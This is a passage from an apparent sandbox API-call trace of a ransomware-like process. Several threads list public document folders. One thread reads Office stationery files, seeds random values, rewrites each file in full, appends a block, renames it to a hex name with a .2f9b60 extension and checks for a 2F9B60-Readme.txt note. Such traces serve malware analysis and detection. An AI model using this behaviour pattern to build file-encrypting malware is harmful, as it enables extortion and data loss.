hFindFile=0x1b858610 | out: hFindFile=0x1b858610) returned 1 [0127.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ddf0) returned 1 [0127.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0127.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f770) returned 1 Thread: id = 1305 os_tid = 0xe70 [0116.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858550 [0116.767] wcscpy (in: _Dest=0x1b858550, _Source="C:\\Users\\Public\\Documents\\My Music" | out: _Dest="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0116.768] wcscat (in: _Dest=0x1b858550, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0116.768] wcscat (in: _Dest=0x1b858550, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Music\\*") returned="C:\\Users\\Public\\Documents\\My Music\\*" [0116.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0116.768] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0116.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0116.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858550) returned 1 [0116.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 Thread: id = 1306 os_tid = 0xe74 [0117.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8587f0 [0117.087] wcscpy (in: _Dest=0x1b8587f0, _Source="C:\\Users\\Public\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0117.087] wcscat (in: _Dest=0x1b8587f0, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0117.087] wcscat (in: _Dest=0x1b8587f0, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Pictures\\*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*" [0117.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0117.088] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0117.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0117.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8587f0) returned 1 [0117.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc10) returned 1 Thread: id = 1307 os_tid = 0xe78 [0117.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd9cc10 [0117.159] wcscpy (in: _Dest=0x1cd9cc10, _Source="C:\\Users\\Public\\Documents\\My Videos" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0117.159] wcscat (in: _Dest=0x1cd9cc10, _Source="\\" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0117.159] wcscat (in: _Dest=0x1cd9cc10, _Source="*" | out: _Dest="C:\\Users\\Public\\Documents\\My Videos\\*") returned="C:\\Users\\Public\\Documents\\My Videos\\*" [0117.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027e060 [0117.159] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x2027e060 | out: lpFindFileData=0x2027e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0117.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027e060) returned 1 [0117.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc10) returned 1 [0117.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 Thread: id = 1308 os_tid = 0xe7c [0117.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif")) returned 0x20 [0117.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF", dwFileAttributes=0x20) returned 1 [0117.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0117.178] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x3bb9f7e0 | out: lpFileSize=0x3bb9f7e0*=5999) returned 1 [0117.178] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x176b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.178] ReadFile (in: hFile=0xe60, lpBuffer=0x3bb9f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bb9f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3bb9f760*, lpNumberOfBytesRead=0x3bb9f7a8*=0x4, lpOverlapped=0x0) returned 1 [0117.189] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d00 [0117.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e20 [0117.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 [0117.190] NtQuerySystemTime (in: CurrentTime=0x3bb9f6a0 | out: CurrentTime=0x3bb9f6a0*=132462177226390000) returned 0x0 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x30a0c521 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x79617bb7 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x5ffa24e4 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x53c8c723 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x3915e6de [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x7e675d22 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x21184fc7 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x4f71aa40 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x131a8b56 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x4c623471 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x46209b93 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x617410c2 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x66205e98 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x24b73965 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x152e6f4 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x5d3df2fc [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x1a22e49a [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x673e5709 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x28b15bf2 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x1b39a8dc [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x4ba3cd88 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x2678bd8 [0117.190] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x2c6b6740 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x4c6e6cc0 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x73e09d36 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x2ff4d52c [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x4b354179 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x713cb78b [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0xe2644b0 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x31ddd025 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x5e385006 [0117.191] RtlRandomEx (in: Seed=0x3bb9f690 | out: Seed=0x3bb9f690) returned 0x64c4c9c6 [0117.200] ReadFile (in: hFile=0xe60, lpBuffer=0x41bc0d80, nNumberOfBytesToRead=0x176f, lpNumberOfBytesRead=0x3bb9f690, lpOverlapped=0x0 | out: lpBuffer=0x41bc0d80*, lpNumberOfBytesRead=0x3bb9f690*=0x176f, lpOverlapped=0x0) returned 1 [0117.231] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.231] WriteFile (in: hFile=0xe60, lpBuffer=0x41bc4990*, nNumberOfBytesToWrite=0x176f, lpNumberOfBytesWritten=0x3bb9f694, lpOverlapped=0x0 | out: lpBuffer=0x41bc4990*, lpNumberOfBytesWritten=0x3bb9f694*=0x176f, lpOverlapped=0x0) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9eb0 [0117.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc4990) returned 1 [0117.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bc0d80) returned 1 [0117.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9d60 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e50 [0117.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9e50 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0117.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9df0) returned 1 [0117.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167dc0 [0117.245] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.245] WriteFile (in: hFile=0xe60, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3bb9f7b0, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x3bb9f7b0*=0x10a, lpOverlapped=0x0) returned 1 [0117.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c5d0 [0117.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0117.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0117.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9df0) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9df0 [0117.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0117.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c5d0) returned 1 [0117.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.247] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="6c") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="2f") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="b5") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="76") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="97") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="8b") returned 2 [0117.247] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="3a") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="4b") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="6e") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="9f") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="c9") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="24") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="2f") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="9d") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="b9") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="a5") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="73") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="35") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="7c") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="52") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="80") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="6f") returned 2 [0117.248] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="b4") returned 2 [0117.248] RtlInitAnsiString (in: DestinationString=0x3bb9f828, SourceString="6c2fb576978b3a4b6e9fc9242f9db9a573f9357c52806fb4" | out: DestinationString="6c2fb576978b3a4b6e9fc9242f9db9a573f9357c52806fb4") [0117.248] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bb9f7f8, SourceString="6c2fb576978b3a4b6e9fc9242f9db9a573f9357c52806fb4", AllocateDestinationString=1 | out: DestinationString="6c2fb576978b3a4b6e9fc9242f9db9a573f9357c52806fb4") returned 0x0 [0117.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8d70 [0117.249] RtlFreeAnsiString (AnsiString="6") [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9df0) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167dc0) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e50) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9eb0) returned 1 [0117.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9e20) returned 1 [0117.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adfc0 [0117.332] wcscat (in: _Dest=0x1b7adfc0, _Source="6c2fb576978b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b" [0117.332] wcscat (in: _Dest=0x1b7adfc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b.2f9b60" [0117.332] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b.2f9b60", NtPathName=0x3bb9f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\6c2fb576978b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0117.332] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x3bb9f870, FileInformation=0x20279970, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0117.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0117.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47320) returned 1 [0117.334] NtQueryInformationFile (in: FileHandle=0xe60, IoStatusBlock=0x3bb9f838, FileInformation=0x3bb9f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bb9f838, FileInformation=0x3bb9f848) returned 0x0 [0117.334] NtSetInformationFile (FileHandle=0xe60, IoStatusBlock=0x3bb9f838, FileInformation=0x3bb9f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.336] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8d70) returned 1 [0117.336] FlushFileBuffers (hFile=0xe60) returned 1 [0117.555] CloseHandle (hObject=0xe60) returned 1 [0117.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0117.557] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0117.557] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0117.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0117.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0117.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d410) returned 1 Thread: id = 1309 os_tid = 0xe80 [0117.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm")) returned 0x20 [0117.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM", dwFileAttributes=0x20) returned 1 [0117.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\CURRENCY.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\currency.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0117.668] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x228bfce0 | out: lpFileSize=0x228bfce0*=548) returned 1 [0117.668] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.668] ReadFile (in: hFile=0xe60, lpBuffer=0x228bfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x228bfca8, lpOverlapped=0x0 | out: lpBuffer=0x228bfc60*, lpNumberOfBytesRead=0x228bfca8*=0x4, lpOverlapped=0x0) returned 1 [0117.669] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9fd0 [0117.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f10 [0117.669] NtQuerySystemTime (in: CurrentTime=0x228bfba0 | out: CurrentTime=0x228bfba0*=132462177231070000) returned 0x0 [0117.669] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x664782ca [0117.669] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x49f49c53 [0117.669] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x38985dda [0117.669] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x2aed8ad5 [0117.669] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x87d3dba [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x1f48249 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x3f4be85b [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x3c91eae [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x247cc0cd [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0xe66ed0a [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x3e97baeb [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x57b9b1ec [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x140d54c [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x7dcd9259 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x7acb70b7 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x5c55f8bf [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0xf359d47 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x2b949fa8 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x193cd247 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x12904205 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0xca9a955 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x39d539b2 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x2a13dd4 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x4f053d04 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x298bbdf [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x40601e83 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x60ebedb0 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x6afea50d [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x186a7532 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x20a156de [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x692c280 [0117.670] RtlRandomEx (in: Seed=0x228bfb90 | out: Seed=0x228bfb90) returned 0x44a22b0a [0117.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9e80 